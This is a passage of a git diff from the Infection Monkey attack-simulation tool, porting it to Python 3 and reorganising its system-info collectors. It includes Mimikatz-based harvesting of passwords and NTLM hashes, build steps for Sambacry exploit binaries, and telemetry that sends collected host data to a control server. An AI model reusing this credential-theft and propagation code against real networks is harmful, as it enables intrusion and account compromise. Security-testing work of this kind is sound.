Zipping with 7zip has been tested. Other zipping software may not work. + +2. Download our pre-built mimikatz binaries + - Download both 32 and 64 bit zipped DLLs from <https://github.com/guardicore/mimikatz/releases/tag/1.1.0> + - Place them under [code location]\infection_monkey\bin + +### Traceroute + +Traceroute requires two standalone binaries to execute remotely. +The monkey carries the standalone binaries since traceroute isn't built in all Linux distributions. +You can either build them yourself or download pre-built binaries. + +1. Build traceroute yourself + - The sources of traceroute are available here with building instructions: <http://traceroute.sourceforge.net> +1. Download our pre-built traceroute binaries + - Available here: + - 32bit: <https://github.com/guardicore/monkey/releases/download/1.6/traceroute32> + - 64bit: <https://github.com/guardicore/monkey/releases/download/1.6/traceroute64> diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt deleted file mode 100644 index 06bf449da..000000000 --- a/monkey/infection_monkey/readme.txt +++ /dev/null @@ -1,101 +0,0 @@ -To get development versions of Monkey Island and Monkey look into deployment scripts folder. -If you only want to build monkey from scratch you may reference instructions below. - -The monkey is composed of three separate parts. -* The Infection Monkey itself - PyInstaller compressed python archives -* Sambacry binaries - Two linux binaries, 32/64 bit. -* Mimikatz binaries - Two windows binaries, 32/64 bit. -* Traceroute binaries - Two linux binaries, 32/64bit. - ---- Windows --- - -1. Install python 2.7.15 - Download and install from: https://www.python.org/downloads/release/python-2715/ -2. Add python directories to PATH environment variable (if you didn't install ActiveState Python) - a. Run the following command on a cmd console (Replace C:\Python27 with your python directory if it's different) - setx /M PATH "%PATH%;C:\Python27;C:\Python27\Scripts - b. Close the console, make sure you execute all commands in a new cmd console from now on. -3. Install further dependencies - a. install VCForPython27.msi - https://aka.ms/vcpython27 - b. if not installed, install Microsoft Visual C++ 2010 SP1 Redistributable Package - 32bit: http://www.microsoft.com/en-us/download/details.aspx?id=8328 - 64bit: http://www.microsoft.com/en-us/download/details.aspx?id=13523 -4. Download the dependent python packages using - pip install -r requirements_windows.txt -5. Download and extract UPX binary to [source-path]\monkey\infection_monkey\bin\upx.exe: - https://github.com/upx/upx/releases/download/v3.94/upx394w.zip -6. Build/Download Sambacry and Mimikatz binaries - a. Build/Download according to sections at the end of this readme. - b. Place the binaries under [code location]\infection_monkey\bin -7. To build the final exe: - cd [code location]/infection_monkey - build_windows.bat - output is placed under dist\monkey.exe - ---- Linux --- - -Tested on Ubuntu 16.04 and 17.04. - -1. Install dependencies by running: - sudo apt-get update - sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1 - Install the python packages listed in requirements.txt using pip - cd [code location]/infection_monkey - pip install -r requirements_linux.txt -2. Build Sambacry binaries - a. Build/Download according to sections at the end of this readme. - b. Place the binaries under [code location]\infection_monkey\bin, under the names 'sc_monkey_runner32.so', 'sc_monkey_runner64.so' -3. Build Traceroute binaries - a. Build/Download according to sections at the end of this readme. - b. Place the binaries under [code location]\infection_monkey\bin, under the names 'traceroute32', 'traceroute64' -4. To build, run in terminal: - cd [code location]/infection_monkey - chmod +x build_linux.sh - ./build_linux.sh - output is placed under dist/monkey - --- Sambacry -- - -Sambacry requires two standalone binaries to execute remotely. -a. Build sambacry binaries yourself - a.1. Install gcc-multilib if it's not installed - sudo apt-get install gcc-multilib - a.2. Build the binaries - cd [code location]/infection_monkey/exploit/sambacry_monkey_runner - ./build.sh - -b. Download our pre-built sambacry binaries - b.1. Available here: - 32bit: https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so - 64bit: https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so - --- Mimikatz -- - -Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile binaries from source (requires Visual Studio 2013 and up) or download them from our repository. -a. Build Mimikatz yourself - a.0. Building mimikatz requires Visual Studio 2013 and up - a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0 - a.2. Build using Visual Studio. - a.3. Put each version in a zip file - a.3.1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll - a.3.2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. - a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly. - a.3.4. Zipping with 7zip has been tested. Other zipping software may not work. - -b. Download our pre-built mimikatz binaries - b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0 - b.2. Place them under [code location]\infection_monkey\bin - --- Traceroute -- - -Traceroute requires two standalone binaries to execute remotely. -The monkey carries the standalone binaries since traceroute isn't built in all Linux distributions. -You can either build them yourself or download pre-built binaries. - -a. Build traceroute yourself - a.1. The sources of traceroute are available here with building instructions: http://traceroute.sourceforge.net -b. Download our pre-built traceroute binaries - b.1. Available here: - 32bit: https://github.com/guardicore/monkey/releases/download/1.6/traceroute32 - 64bit: https://github.com/guardicore/monkey/releases/download/1.6/traceroute64 diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt new file mode 100644 index 000000000..858e5652b --- /dev/null +++ b/monkey/infection_monkey/requirements.txt @@ -0,0 +1,20 @@ +impacket +pycryptodome +cffi +requests +odict +paramiko +psutil +git+https://github.com/guardicore/pyinstaller +ecdsa +netifaces +ipaddress +# Locking WMI since version 1.5 introduced breaking change on Linux agent compilation. +# See breaking change here: https://github.com/tjguk/wmi/commit/dcf8e3eca79bb8c0101ffb83e25c066b0ba9e16d +# Causes pip to error with: +# Could not find a version that satisfies the requirement pywin32 (from wmi->-r /src/infection_monkey/requirements.txt (line 12)) (from versions: none) +wmi==1.4.9 +pywin32 ; sys_platform == 'win32' +pymssql<3.0 +pyftpdlib +WinSys-3.x diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt deleted file mode 100644 index f30131267..000000000 --- a/monkey/infection_monkey/requirements_linux.txt +++ /dev/null @@ -1,17 +0,0 @@ -enum34 -impacket -pycryptodome -cffi -requests -odict -paramiko -psutil==3.4.2 -PyInstaller -six -ecdsa -netifaces -ipaddress -wmi -pymssql -pyftpdlib -enum34 diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt deleted file mode 100644 index a9642aa2f..000000000 --- a/monkey/infection_monkey/requirements_windows.txt +++ /dev/null @@ -1,18 +0,0 @@ -enum34 -impacket -pycryptodome -cffi -requests -odict -paramiko -psutil==3.4.2 -PyInstaller -six -ecdsa -netifaces -ipaddress -wmi -pywin32 -pymssql -pyftpdlib -enum34 diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py index 60c509fc6..31afdb8ed 100644 --- a/monkey/infection_monkey/system_info/SSH_info_collector.py +++ b/monkey/infection_monkey/system_info/SSH_info_collector.py @@ -63,7 +63,7 @@ class SSHCollector(object): LOG.info("Found public key in %s" % public) try: with open(public) as f: - info['public_key'] = f.read() + info['public_key'] = f.read() # By default private key has the same name as public, only without .pub private = os.path.splitext(public)[0] if os.path.exists(private): diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index 7c0187d12..d9107e7bf 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -6,9 +6,9 @@ import psutil from enum import IntEnum from infection_monkey.network.info import get_host_subnets -from infection_monkey.system_info.aws_collector import AwsCollector from infection_monkey.system_info.azure_cred_collector import AzureCollector from infection_monkey.system_info.netstat_collector import NetstatCollector +from infection_monkey.system_info.system_info_collectors_handler import SystemInfoCollectorsHandler LOG = logging.getLogger(__name__) @@ -16,7 +16,8 @@ LOG = logging.getLogger(__name__) try: WindowsError except NameError: - WindowsError = None + # noinspection PyShadowingBuiltins + WindowsError = psutil.AccessDenied __author__ = 'uri' @@ -34,10 +35,10 @@ class SystemInfoCollector(object): def __init__(self): self.os = SystemInfoCollector.get_os() if OperatingSystem.Windows == self.os: - from windows_info_collector import WindowsInfoCollector + from .windows_info_collector import WindowsInfoCollector self.collector = WindowsInfoCollector() else: - from linux_info_collector import LinuxInfoCollector + from .linux_info_collector import LinuxInfoCollector self.collector = LinuxInfoCollector() def get_info(self): @@ -60,50 +61,12 @@ class InfoCollector(object): self.info = {} def get_info(self): - self.get_hostname() - self.get_process_list() + # Collect all hardcoded self.get_network_info() self.get_azure_info() - self.get_aws_info() - def get_hostname(self): - """ - Adds the fully qualified computer hostname to the system information. - :return: None. Updates class information - """ - LOG.debug("Reading hostname") - self.info['hostname'] = socket.getfqdn() - - def get_process_list(self): - """ - Adds process information from the host to the system information. - Currently lists process name, ID, parent ID, command line - and the full image path of each process. - :return: None. Updates class information - """ - LOG.debug("Reading process list") - processes = {} - for process in psutil.process_iter(): - try: - processes[process.pid] = {"name": process.name(), - "pid": process.pid, - "ppid": process.ppid(), - "cmdline": " ".join(process.cmdline()), - "full_image_path": process.exe(), - } - except (psutil.AccessDenied, WindowsError): - # we may be running as non root - # and some processes are impossible to acquire in Windows/Linux - # in this case we'll just add what we can - processes[process.pid] = {"name": "null", - "pid": process.pid, - "ppid": process.ppid(), - "cmdline": "ACCESS DENIED", - "full_image_path": "null", - } - continue - - self.info['process_list'] = processes + # Collect all plugins + SystemInfoCollectorsHandler().execute_all_configured() def get_network_info(self): """ @@ -149,11 +112,3 @@ class InfoCollector(object): except Exception: # If we failed to collect azure info, no reason to fail all the collection. Log and continue. LOG.error("Failed collecting Azure info.", exc_info=True) - - def get_aws_info(self): - # noinspection PyBroadException - try: - self.info['aws'] = AwsCollector().get_aws_info() - except Exception: - # If we failed to collect aws info, no reason to fail all the collection. Log and continue. - LOG.error("Failed collecting AWS info.", exc_info=True) diff --git a/monkey/infection_monkey/system_info/aws_collector.py b/monkey/infection_monkey/system_info/aws_collector.py deleted file mode 100644 index df90e5913..000000000 --- a/monkey/infection_monkey/system_info/aws_collector.py +++ /dev/null @@ -1,29 +0,0 @@ -import logging - -from common.cloud.aws_instance import AwsInstance - -__author__ = 'itay.mizeretz' - -LOG = logging.getLogger(__name__) - - -class AwsCollector(object): - """ - Extract info from AWS machines - """ - - @staticmethod - def get_aws_info(): - LOG.info("Collecting AWS info") - aws = AwsInstance() - info = {} - if aws.is_aws_instance(): - LOG.info("Machine is an AWS instance") - info = \ - { - 'instance_id': aws.get_instance_id() - } - else: - LOG.info("Machine is NOT an AWS instance") - - return info diff --git a/monkey/infection_monkey/system_info/collectors/__init__.py b/monkey/infection_monkey/system_info/collectors/__init__.py new file mode 100644 index 000000000..f5b7166e9 --- /dev/null +++ b/monkey/infection_monkey/system_info/collectors/__init__.py @@ -0,0 +1,3 @@ +""" +This package holds all the dynamic (plugin) collectors +""" diff --git a/monkey/infection_monkey/system_info/collectors/aws_collector.py b/monkey/infection_monkey/system_info/collectors/aws_collector.py new file mode 100644 index 000000000..68d125279 --- /dev/null +++ b/monkey/infection_monkey/system_info/collectors/aws_collector.py @@ -0,0 +1,31 @@ +import logging + +from common.cloud.aws.aws_instance import AwsInstance +from common.data.system_info_collectors_names import AWS_COLLECTOR +from infection_monkey.system_info.system_info_collector import SystemInfoCollector + + +logger = logging.getLogger(__name__) + + +class AwsCollector(SystemInfoCollector): + """ + Extract info from AWS machines. + """ + def __init__(self): + super().__init__(name=AWS_COLLECTOR) + + def collect(self) -> dict: + logger.info("Collecting AWS info") + aws = AwsInstance() + info = {} + if aws.is_instance(): + logger.info("Machine is an AWS instance") + info = \ + { + 'instance_id': aws.get_instance_id() + } + else: + logger.info("Machine is NOT an AWS instance") + + return info diff --git a/monkey/infection_monkey/system_info/collectors/environment_collector.py b/monkey/infection_monkey/system_info/collectors/environment_collector.py new file mode 100644 index 000000000..100d23175 --- /dev/null +++ b/monkey/infection_monkey/system_info/collectors/environment_collector.py @@ -0,0 +1,24 @@ +from common.cloud.all_instances import get_all_cloud_instances +from common.cloud.environment_names import Environment +from common.data.system_info_collectors_names import ENVIRONMENT_COLLECTOR +from infection_monkey.system_info.system_info_collector import SystemInfoCollector + + +def get_monkey_environment() -> str: + """ + Get the Monkey's running environment. + :return: One of the cloud providers if on cloud; otherwise, assumes "on premise". + """ + for instance in get_all_cloud_instances(): + if instance.is_instance(): + return instance.get_cloud_provider_name().value + + return Environment.ON_PREMISE.value + + +class EnvironmentCollector(SystemInfoCollector): + def __init__(self): + super().__init__(name=ENVIRONMENT_COLLECTOR) + + def collect(self) -> dict: + return {"environment": get_monkey_environment()} diff --git a/monkey/infection_monkey/system_info/collectors/hostname_collector.py b/monkey/infection_monkey/system_info/collectors/hostname_collector.py new file mode 100644 index 000000000..21d03aac7 --- /dev/null +++ b/monkey/infection_monkey/system_info/collectors/hostname_collector.py @@ -0,0 +1,16 @@ +import logging +import socket + +from common.data.system_info_collectors_names import HOSTNAME_COLLECTOR +from infection_monkey.system_info.system_info_collector import SystemInfoCollector + + +logger = logging.getLogger(__name__) + + +class HostnameCollector(SystemInfoCollector): + def __init__(self): + super().__init__(name=HOSTNAME_COLLECTOR) + + def collect(self) -> dict: + return {"hostname": socket.getfqdn()} diff --git a/monkey/infection_monkey/system_info/collectors/process_list_collector.py b/monkey/infection_monkey/system_info/collectors/process_list_collector.py new file mode 100644 index 000000000..c0610cc74 --- /dev/null +++ b/monkey/infection_monkey/system_info/collectors/process_list_collector.py @@ -0,0 +1,50 @@ +import logging +import psutil + +from common.data.system_info_collectors_names import PROCESS_LIST_COLLECTOR +from infection_monkey.system_info.system_info_collector import SystemInfoCollector + +logger = logging.getLogger(__name__) + +# Linux doesn't have WindowsError +try: + WindowsError +except NameError: + # noinspection PyShadowingBuiltins + WindowsError = psutil.AccessDenied + + +class ProcessListCollector(SystemInfoCollector): + def __init__(self): + super().__init__(name=PROCESS_LIST_COLLECTOR) + + def collect(self) -> dict: + """ + Adds process information from the host to the system information. + Currently lists process name, ID, parent ID, command line + and the full image path of each process. + """ + logger.debug("Reading process list") + processes = {} + for process in psutil.process_iter(): + try: + processes[process.pid] = { + "name": process.name(), + "pid": process.pid, + "ppid": process.ppid(), + "cmdline": " ".join(process.cmdline()), + "full_image_path": process.exe(), + } + except (psutil.AccessDenied, WindowsError): + # we may be running as non root and some processes are impossible to acquire in Windows/Linux. + # In this case we'll just add what we know. + processes[process.pid] = { + "name": "null", + "pid": process.pid, + "ppid": process.ppid(), + "cmdline": "ACCESS DENIED", + "full_image_path": "null", + } + continue + + return {'process_list': processes} diff --git a/monkey/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py index 831b10ba1..fb38f84c4 100644 --- a/monkey/infection_monkey/system_info/linux_info_collector.py +++ b/monkey/infection_monkey/system_info/linux_info_collector.py @@ -26,4 +26,3 @@ class LinuxInfoCollector(InfoCollector): super(LinuxInfoCollector, self).get_info() self.info['ssh_info'] = SSHCollector.get_info() return self.info - diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 2951b7ebc..8b62217cc 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -27,7 +27,7 @@ class MimikatzCollector(object): MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' # Password to Mimikatz zip file - MIMIKATZ_ZIP_PASSWORD = r'VTQpsJPXgZuXhX6x3V84G' + MIMIKATZ_ZIP_PASSWORD = b'VTQpsJPXgZuXhX6x3V84G' def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -78,11 +78,11 @@ class MimikatzCollector(object): for i in range(entry_count): entry = self._get() - username = entry.username.encode('utf-8').strip() + username = entry.username - password = entry.password.encode('utf-8').strip() - lm_hash = binascii.hexlify(bytearray(entry.lm_hash)) - ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)) + password = entry.password + lm_hash = binascii.hexlify(bytearray(entry.lm_hash)).decode() + ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)).decode() if 0 == len(password): has_password = False diff --git a/monkey/infection_monkey/system_info/system_info_collector.py b/monkey/infection_monkey/system_info/system_info_collector.py new file mode 100644 index 000000000..8c0b6aa65 --- /dev/null +++ b/monkey/infection_monkey/system_info/system_info_collector.py @@ -0,0 +1,38 @@ +from infection_monkey.config import WormConfiguration +from infection_monkey.utils.plugins.plugin import Plugin +from abc import ABCMeta, abstractmethod + +import infection_monkey.system_info.collectors + + +class SystemInfoCollector(Plugin, metaclass=ABCMeta): + """ + ABC for system info collection. See system_info_collector_handler for more info. Basically, to implement a new system info + collector, inherit from this class in an implementation in the infection_monkey.system_info.collectors class, and override + the 'collect' method. Don't forget to parse your results in the Monkey Island and to add the collector to the configuration + as well - see monkey_island.cc.services.processing.system_info_collectors for examples. + + See the Wiki page "How to add a new System Info Collector to the Monkey?" for a detailed guide. + """ + def __init__(self, name="unknown"): + self.name = name + + @staticmethod + def should_run(class_name) -> bool: + return class_name in WormConfiguration.system_info_collectors_classes + + @staticmethod + def base_package_file(): + return infection_monkey.system_info.collectors.__file__ + + @staticmethod + def base_package_name(): + return infection_monkey.system_info.collectors.__package__ + + @abstractmethod + def collect(self) -> dict: + """ + Collect the relevant information and return it in a dictionary. + To be implemented by each collector. + """ + raise NotImplementedError() diff --git a/monkey/infection_monkey/system_info/system_info_collectors_handler.py b/monkey/infection_monkey/system_info/system_info_collectors_handler.py new file mode 100644 index 000000000..cc007ff86 --- /dev/null +++ b/monkey/infection_monkey/system_info/system_info_collectors_handler.py @@ -0,0 +1,33 @@ +import logging +from typing import Sequence + +from infection_monkey.system_info.system_info_collector import SystemInfoCollector +from infection_monkey.telemetry.system_info_telem import SystemInfoTelem + +LOG = logging.getLogger(__name__) + + +class SystemInfoCollectorsHandler(object): + def __init__(self): + self.collectors_list = self.config_to_collectors_list() + + def execute_all_configured(self): + successful_collections = 0 + system_info_telemetry = {} + for collector in self.collectors_list: + try: + LOG.debug("Executing system info collector: '{}'".format(collector.name)) + collected_info = collector.collect() + system_info_telemetry[collector.name] = collected_info + successful_collections += 1 + except Exception as e: + # If we failed one collector, no need to stop execution. Log and continue. + LOG.error("Collector {} failed. Error info: {}".format(collector.name, e)) + LOG.info("All system info collectors executed. Total {} executed, out of which {} collected successfully.". + format(len(self.collectors_list), successful_collections)) + + SystemInfoTelem({"collectors": system_info_telemetry}).send() + + @staticmethod + def config_to_collectors_list() -> Sequence[SystemInfoCollector]: + return SystemInfoCollector.get_instances() diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index b8a102831..857b42303 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -3,11 +3,15 @@ import logging import sys sys.coinit_flags = 0 # needed for proper destruction of the wmi python module - +# noinspection PyPep8 import infection_monkey.config +# noinspection PyPep8 from infection_monkey.system_info.mimikatz_collector import MimikatzCollector +# noinspection PyPep8 from infection_monkey.system_info import InfoCollector +# noinspection PyPep8 from infection_monkey.system_info.wmi_consts import WMI_CLASSES +# noinspection PyPep8 from common.utils.wmi_utils import WMIUtils LOG = logging.getLogger(__name__) @@ -36,7 +40,7 @@ class WindowsInfoCollector(InfoCollector): """ LOG.debug("Running Windows collector") super(WindowsInfoCollector, self).get_info() - #self.get_wmi_info() + # TODO: Think about returning self.get_wmi_info() self.get_installed_packages() from infection_monkey.config import WormConfiguration if WormConfiguration.should_use_mimikatz: diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py index a87e297d9..a42472b82 100644 --- a/monkey/infection_monkey/system_info/wmi_consts.py +++ b/monkey/infection_monkey/system_info/wmi_consts.py @@ -29,4 +29,3 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl", "DS_whenChanged", "DS_whenCreated"), } - diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 6a4a0912b..f82e7be44 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -5,15 +5,12 @@ from abc import ABCMeta, abstractmethod from infection_monkey.config import WormConfiguration - __author__ = 'itamar' LOG = logging.getLogger(__name__) -class _SystemSingleton(object): - __metaclass__ = ABCMeta - +class _SystemSingleton(object, metaclass=ABCMeta): @property @abstractmethod def locked(self): @@ -42,7 +39,7 @@ class WindowsSystemSingleton(_SystemSingleton): handle = ctypes.windll.kernel32.CreateMutexA(None, ctypes.c_bool(True), - ctypes.c_char_p(self._mutex_name)) + ctypes.c_char_p(self._mutex_name.encode())) last_error = ctypes.windll.kernel32.GetLastError() if not handle: diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py index 31d7332bd..7617ab4e3 100644 --- a/monkey/infection_monkey/telemetry/base_telem.py +++ b/monkey/infection_monkey/telemetry/base_telem.py @@ -9,25 +9,28 @@ logger = logging.getLogger(__name__) __author__ = 'itay.mizeretz' -class BaseTelem(object): +class BaseTelem(object, metaclass=abc.ABCMeta): """ Abstract base class for telemetry. """ - __metaclass__ = abc.ABCMeta - def __init__(self): pass - def send(self): + def send(self, log_data=True): """ Sends telemetry to island """ data = self.get_data() - logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data))) + if log_data: + data_to_log = json.dumps(data) + else: + data_to_log = 'redacted' + logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, data_to_log)) ControlClient.send_telemetry(self.telem_category, data) - @abc.abstractproperty + @property + @abc.abstractmethod def telem_category(self): """ :return: Telemetry type @@ -35,7 +38,7 @@ class BaseTelem(object): pass @abc.abstractmethod - def get_data(self): + def get_data(self) -> dict: """ :return: Data of telemetry (should be dict) """ diff --git a/monkey/infection_monkey/telemetry/state_telem.py b/monkey/infection_monkey/telemetry/state_telem.py index 3bd63d2f9..4d4224288 100644 --- a/monkey/infection_monkey/telemetry/state_telem.py +++ b/monkey/infection_monkey/telemetry/state_telem.py @@ -5,15 +5,19 @@ __author__ = "itay.mizeretz" class StateTelem(BaseTelem): - def __init__(self, is_done): + def __init__(self, is_done, version="Unknown"): """ Default state telemetry constructor :param is_done: Whether the state of monkey is done. """ super(StateTelem, self).__init__() self.is_done = is_done + self.version = version telem_category = 'state' def get_data(self): - return {'done': self.is_done} + return { + 'done': self.is_done, + 'version': self.version + } diff --git a/monkey/infection_monkey/telemetry/system_info_telem.py b/monkey/infection_monkey/telemetry/system_info_telem.py index a4b1c0bd0..69ee7beda 100644 --- a/monkey/infection_monkey/telemetry/system_info_telem.py +++ b/monkey/infection_monkey/telemetry/system_info_telem.py @@ -17,3 +17,6 @@ class SystemInfoTelem(BaseTelem): def get_data(self): return self.system_info + + def send(self, log_data=False): + super(SystemInfoTelem, self).send(log_data) diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py index 735ef670a..25509ef85 100644 --- a/monkey/infection_monkey/transport/__init__.py +++ b/monkey/infection_monkey/transport/__init__.py @@ -1,4 +1,3 @@ from infection_monkey.transport.http import HTTPServer, LockedHTTPServer - __author__ = 'hoffer' diff --git a/monkey/infection_monkey/transport/base.py b/monkey/infection_monkey/transport/base.py index e6a5bc366..a02d86708 100644 --- a/monkey/infection_monkey/transport/base.py +++ b/monkey/infection_monkey/transport/base.py @@ -27,4 +27,4 @@ def update_last_serve_time(): def get_last_serve_time(): global g_last_served - return g_last_served \ No newline at end of file + return g_last_served diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 8da49f637..20b481f31 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -1,22 +1,25 @@ -import BaseHTTPServer +import http.server import os.path import select import socket import threading import urllib from logging import getLogger -from urlparse import urlsplit +from urllib.parse import urlsplit + +import requests import infection_monkey.monkeyfs as monkeyfs from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time -from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.network.tools import get_interface_to_target +import infection_monkey.control __author__ = 'hoffer' LOG = getLogger(__name__) -class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): +class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" filename = "" @@ -61,10 +64,9 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): f.close() def send_head(self): - if self.path != '/' + urllib.quote(os.path.basename(self.filename)): + if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)): self.send_error(500, "") return None, 0, 0 - f = None try: f = monkeyfs.open(self.filename, 'rb') except IOError: @@ -100,24 +102,46 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): self.end_headers() return f, start_range, end_range - def log_message(self, format, *args): + def log_message(self, format_string, *args): LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(), self.log_date_time_string(), - format % args)) + format_string % args)) -class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler): +class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): timeout = 30 # timeout with clients, set to None not to make persistent connection proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header - protocol_version = "HTTP/1.1" + + def do_POST(self): + try: + content_length = int(self.headers['Content-Length']) + post_data = self.rfile.read(content_length).decode() + LOG.info("Received bootloader's request: {}".format(post_data)) + try: + dest_path = self.path + r = requests.post(url=dest_path, + data=post_data, + verify=False, + proxies=infection_monkey.control.ControlClient.proxies) + self.send_response(r.status_code) + except requests.exceptions.ConnectionError as e: + LOG.error("Couldn't forward request to the island: {}".format(e)) + self.send_response(404) + except Exception as e: + LOG.error("Failed to forward bootloader request: {}".format(e)) + finally: + self.end_headers() + self.wfile.write(r.content) + except Exception as e: + LOG.error("Failed receiving bootloader telemetry: {}".format(e)) def version_string(self): return "" def do_CONNECT(self): + LOG.info("Received a connect request!") # just provide a tunnel, transfer the data with no modification req = self - reqbody = None req.path = "https://%s/" % req.path.replace(':443', '') u = urlsplit(req.path) @@ -148,9 +172,9 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler): update_last_serve_time() conn.close() - def log_message(self, format, *args): + def log_message(self, format_string, *args): LOG.debug("HTTPConnectProxyHandler: %s - [%s] %s" % - (self.address_string(), self.log_date_time_string(), format % args)) + (self.address_string(), self.log_date_time_string(), format_string % args)) class HTTPServer(threading.Thread): @@ -182,7 +206,7 @@ class HTTPServer(threading.Thread): return True return False - httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) + httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler) httpd.timeout = 0.5 # this is irrelevant? while not self._stopped and self.downloads < self.max_downloads: @@ -235,7 +259,7 @@ class LockedHTTPServer(threading.Thread): return True return False - httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) + httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler) self.lock.release() while not self._stopped and self.downloads < self.max_downloads: httpd.handle_request() @@ -249,7 +273,7 @@ class LockedHTTPServer(threading.Thread): class HTTPConnectProxy(TransportProxyBase): def run(self): - httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler) + httpd = http.server.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler) httpd.timeout = 30 while not self._stopped: httpd.handle_request() diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py index e910e657f..9b017aa41 100644 --- a/monkey/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -41,13 +41,13 @@ class SocketsPipe(Thread): except: break self._keep_connection = True - + self.source.close() self.dest.close() class TcpProxy(TransportProxyBase): - + def run(self): pipes = [] l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -61,8 +61,8 @@ class TcpProxy(TransportProxyBase): except socket.timeout: continue + dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: - dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM) dest.connect((self.dest_host, self.dest_port)) except socket.error as ex: source.close() diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 722dea50e..3544f46f3 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -7,9 +7,8 @@ from threading import Thread from infection_monkey.model import VictimHost from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import local_ips, get_free_tcp_port -from infection_monkey.network.tools import check_tcp_port +from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.transport.base import get_last_serve_time -from infection_monkey.exploit.tools.helpers import get_interface_to_target __author__ = 'hoffer' @@ -48,7 +47,7 @@ def _check_tunnel(address, port, existing_sock=None): return False try: - sock.sendto("+", (address, MCAST_PORT)) + sock.sendto(b"+", (address, MCAST_PORT)) except Exception as exc: LOG.debug("Caught exception in tunnel registration: %s", exc) @@ -71,13 +70,13 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT): try: LOG.info("Trying to find using adapter %s", adapter) sock = _set_multicast_socket(timeout, adapter) - sock.sendto("?", (MCAST_GROUP, MCAST_PORT)) + sock.sendto(b"?", (MCAST_GROUP, MCAST_PORT)) tunnels = [] while True: try: answer, address = sock.recvfrom(BUFFER_READ) - if answer not in ['?', '+', '-']: + if answer not in [b'?', b'+', b'-']: tunnels.append(answer) except socket.timeout: break @@ -102,7 +101,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT): def quit_tunnel(address, timeout=DEFAULT_TIMEOUT): try: sock = _set_multicast_socket(timeout) - sock.sendto("-", (address, MCAST_PORT)) + 